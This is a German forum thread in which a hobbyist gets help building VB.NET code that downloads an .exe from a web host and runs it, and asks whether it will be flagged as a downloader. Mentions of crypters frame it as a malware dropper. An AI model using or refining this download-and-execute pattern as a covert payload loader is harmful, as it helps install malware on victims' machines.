VB Download und ausführen
Hallo Ihr lieben,
ich hab mal angefangen wieder etwas zu bauen.
Mir ist klar das das nichts besonderes ist aber ich mag einfach mal
wieder ein wenig was versuchen.
Ich will keine super Crypter oder sonst etwas bauen - mir reichen
einfache Dinge da ich das ganze aus Freude und Interesse mache
und nicht um der super Hacker zu werden.
Also es geht hier um das einfache Runderladen und Ausführen
Code:
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
My.Computer.Network.DownloadFile("http://www.MEINESEITE.square7.ch/test.exe", "C:\test.exe")
Process.Start("C:\test.exe")
End Sub
Leider funktioniert das so nicht. Es kommt dann "Ein Ausnahmefehler des Typs "System.Net.WebException" ist in System.dll aufgetreten."
Ich hoffe ihr könnt da kurz helfen. Sollte ja nicht viel sein oder ?
Und mit welchen Problemen werde ich da rechnen müssen ? Wird das irgend wie als Downloader erkannt oder so ?
Beste Grüße und ein schönes WE
AW: VB Download und ausführen
Nimm einen WebClienten und Downloade Asynchron runter.
Wenn Download fertig (Da feuert ein Event hoch), führe .exe aus.
AW: VB Download und ausführen
Hi
http://pastebin.com/c9LvWJ8C
Download nicht asynchron aber wir wollens ja nich komplizierter als nötig machen! ^^
MfG Leange
Edit: Ist der falsche Forenbereich oder? Müsste in .Net.
AW: VB Download und ausführen
Ich habs noch nicht getestet aber möchte mich jetzt schon mal bedanken.
Sehr sehr Nett das ihr da so helft :)
EDIT:
So ich hab es jetzt eingebaut. Leider passiert nichts. Aber wenn ich den Code so überfliege
stellt sich mir die Frage ob durch den click auf den Button nicht erst versucht wird die Datei zu starten
und nicht erst runter zu laden.
Wobei ich natürlich den Sub Download sehe und auch erkenne das er vor dem ausführen
steht.
Ist es im Code egal wo der Sub steht. Ob jetzt über oder unter dem Button Click ?
EDIT2:
Fehlermeldung ist das das System die Datei nicht finden kann.
Brauch ich einen eigenen Temp um runtergeladene Dateien speichern zu können ?
Das Debugging bezieht sich da auf diese Zeilen
Code:
Dim wc As WebClient = New WebClient()
wc.DownloadFile(Url, SaveP)
und dannach natürlich dann auf
Code:
Process.Start(pfad)
weil es ja nichts gibt.
AW: VB Download und ausführen
Hi
Wenn du direkt in C speichern willst musst du das Prog glaube als Admin ausführen.
Code:
Dim pfad As String = "C:\nochnordner\test.exe"
Das sollte gehen. Der Ordner muss existieren.
Edit:
Zitat:
Ist es im Code egal wo der Sub steht. Ob jetzt über oder unter dem Button Click ?
Jop ist egal.
MfG Leange
AW: VB Download und ausführen
Danke - also nehm ich am besten %temp% ?
Den Ordner gibt es ja. Soll ja Multilingual funktionieren.
C:\Users\Public\Downloads\
oder geht das auch ?
EDIT:
Danke Leute ! Ihr seid die geilste Community. Es läuft nun Ohne Probleme !